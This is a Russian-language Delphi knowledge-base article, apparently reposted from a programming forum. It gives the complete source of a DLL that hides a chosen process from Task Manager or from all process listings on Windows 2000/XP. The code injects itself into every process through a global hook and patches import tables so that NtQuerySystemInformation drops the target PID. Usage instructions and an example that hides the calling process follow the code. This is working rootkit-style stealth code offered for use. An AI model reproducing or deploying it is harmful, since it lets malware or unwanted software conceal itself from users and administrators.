Sources
Delphi Russian Knowledge Base
DRKB - это самая большая и удобная в использовании база знаний по Дельфи в рунете, составленная Виталием Невзоровым

Как спрятать программу от Task Manager в Windows 2000 и Windows XP?

01.01.2007

Этот вопрос меня уже достал, он задаётся на всех программистских форумах, поэтому я выкладываю solution. Листинг библиотеки (nthide.dll), которая будет выполнять нужную нам функцию:

library hide;
uses
 Windows,
 SysUtils,
 ImageHlp,
 TlHelp32;
type SYSTEM_INFORMATION_CLASS = (
 SystemBasicInformation,
 SystemProcessorInformation,
 SystemPerformanceInformation,
 SystemTimeOfDayInformation,
 SystemNotImplemented1,
 SystemProcessesAndThreadsInformation,
 SystemCallCounts,
 SystemConfigurationInformation,
 SystemProcessorTimes,
 SystemGlobalFlag,
 SystemNotImplemented2,
 SystemModuleInformation,
 SystemLockInformation,
 SystemNotImplemented3,
 SystemNotImplemented4,
 SystemNotImplemented5,
 SystemHandleInformation,
 SystemObjectInformation,
 SystemPagefileInformation,
 SystemInstructionEmulationCounts,
 SystemInvalidInfoClass1,
 SystemCacheInformation,
 SystemPoolTagInformation,
 SystemProcessorStatistics,
 SystemDpcInformation,
 SystemNotImplemented6,
 SystemLoadImage,
 SystemUnloadImage,
 SystemTimeAdjustment,
 SystemNotImplemented7,
 SystemNotImplemented8,
 SystemNotImplemented9,
 SystemCrashDumpInformation,
 SystemExceptionInformation,
 SystemCrashDumpStateInformation,
 SystemKernelDebuggerInformation,
 SystemContextSwitchInformation,
 SystemRegistryQuotaInformation,
 SystemLoadAndCallImage,
 SystemPrioritySeparation,
 SystemNotImplemented10,
 SystemNotImplemented11,
 SystemInvalidInfoClass2,
 SystemInvalidInfoClass3,
 SystemTimeZoneInformation,
 SystemLookasideInformation,
 SystemSetTimeSlipEvent,
 SystemCreateSession,
 SystemDeleteSession,
 SystemInvalidInfoClass4,
 SystemRangeStartInformation,
 SystemVerifierInformation,
 SystemAddVerifier,
 SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
  case Integer of
   0:(
    Characteristics: DWORD);
   1:(
    OriginalFirstThunk:DWORD;
    TimeDateStamp:DWORD;
    ForwarderChain: DWORD;
    Name: DWORD;
    FirstThunk: DWORD);
   end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC=^FARPROC;
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var     ulSize: ULONG;
   pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
    pszModName: PChar;
        pThunk: PDWORD; ppfn:PFARPROC;
        ffound: LongBool;
       written: DWORD;
begin
 pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then exit;
  while pImportDesc.Name<>0 do
   begin
    pszModName := PChar(hmodCaller + pImportDesc.Name);
     if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
   end;
  if (pImportDesc.Name = 0) then exit;
 pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^<>0 do
   begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
     if (fFound) then
      begin
       VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
       WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
       exit;
      end;
    Inc(pThunk);
   end;
end;
var
 addr_NtQuerySystemInformation: Pointer;
 mypid: DWORD;
 fname: PCHAR;
 mapaddr: PDWORD;
 hideOnlyTaskMan: PBOOL;
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
 SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
 push ReturnLength
 push SystemInformationLength
 push SystemInformation
 push dword ptr SystemInformationClass
 call dword ptr [addr_NtQuerySystemInformation]
 or eax,eax
 jl quit
 cmp SystemInformationClass, SystemProcessesAndThreadsInformation
 jne quit
 onceagain:
 mov esi, SystemInformation
 getnextpidstruct:
 mov ebx, esi
 cmp dword ptr [esi],0
 je quit
 add esi, [esi]
 mov ecx, [esi+44h]
 cmp ecx, mypid
 jne getnextpidstruct
 mov edx, [esi]
 test edx, edx
 je fillzero
 add [ebx], edx
 jmp onceagain
 fillzero:
 and [ebx], edx
 jmp onceagain
 quit:
 mov Result, eax
end
procedure InterceptFunctions;
var hSnapShot: THandle;
         me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
   try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
     repeat
      ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
     until not Module32Next(hSnapShot,me32);
   finally
    CloseHandle(hSnapShot);
   end;
end;
procedure UninterceptFunctions;
var hSnapShot: THandle;
         me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
   ZeroMemory(@me32,sizeof(MODULEENTRY32));
   me32.dwSize:=sizeof(MODULEENTRY32);
   Module32First(hSnapShot,me32);
    repeat
     ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
   CloseHandle(hSnapShot);
  end;
end;
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
 Result:=0;
end;
procedure InstallHook; stdcall;
begin
 HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var hFirstMapHandle:THandle;
function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
       ptr2: PBOOL;
begin
 mypid:=0;
 result:=false;
 hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
  if hFirstMapHandle=0 then exit;
 addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
  if addrMap=nil then
   begin
    CloseHandle(hFirstMapHandle);
    exit;
   end;
 addrMap^:=pid;
 ptr2:=PBOOL(DWORD(addrMap)+4);
 ptr2^:=HideOnlyFromTaskManager;
 UnmapViewOfFile(addrMap);
 InstallHook;
 result:=true;
end;
exports
 HideProcess;
var
 hmap: THandle;
procedure LibraryProc(Reason: Integer);
begin
 if Reason = DLL_PROCESS_DETACH then
  if mypid > 0 then
   UninterceptFunctions()
 else
  CloseHandle(hFirstMapHandle);
end;
begin
 hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
  if hmap=0 then exit;
  try
   mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
    if mapaddr=nil then exit;
   mypid:=mapaddr^;
   hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
    if hideOnlyTaskMan^ then
     begin
      fname:=allocMem(MAX_PATH+1);
      GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
       if not (ExtractFileName(fname)='taskmgr.exe') then exit;
     end;
   InterceptFunctions;
  finally
   UnmapViewOfFile(mapaddr);
   CloseHandle(Hmap);
   DLLProc:=@LibraryProc;
  end;
end.
 

Для её использования нужно вызвать функцию HideProcess:

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL,

где

pid - идентификатор процесса, который нужно спрятать

HideOnlyFromTaskManager - нужно ли прятать процесс только от TaskManager'а, или же от остальных программ, использующих для получения списка процессов функцию NtQuerySystemInformation из ntdll.dll.

Пример использования:

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'nthide.dll';

< skipped >

procedure proc;

begin

HideProcess(GetCurrentProcessId, false); //это спрячет текущий процесс

end;

Автор Curve

Взято из https://forum.sources.ru